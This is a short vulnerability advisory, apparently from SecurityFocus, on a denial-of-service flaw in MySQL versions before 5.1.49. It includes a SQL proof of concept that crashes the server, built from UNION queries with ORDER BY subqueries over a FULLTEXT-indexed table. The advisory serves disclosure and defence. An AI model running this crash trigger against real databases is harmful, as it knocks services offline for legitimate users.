source: https://www.securityfocus.com/bid/42599/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42594 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it. 

CREATE TABLE t1 (a VARCHAR(10), FULLTEXT KEY a (a));
INSERT INTO t1 VALUES (1),(2);
CREATE TABLE t2 (b INT);
INSERT INTO t2 VALUES (1),(2);

EXPLAIN SELECT * FROM t1 UNION SELECT * FROM t1
  ORDER BY (SELECT a FROM t2 WHERE b = 12);

EXPLAIN SELECT * FROM t2 UNION SELECT * FROM t2
  ORDER BY (SELECT * FROM t1 WHERE MATCH(a) AGAINST ('+abc' IN BOOLEAN MODE));

DROP TABLE t1,t2;

exit;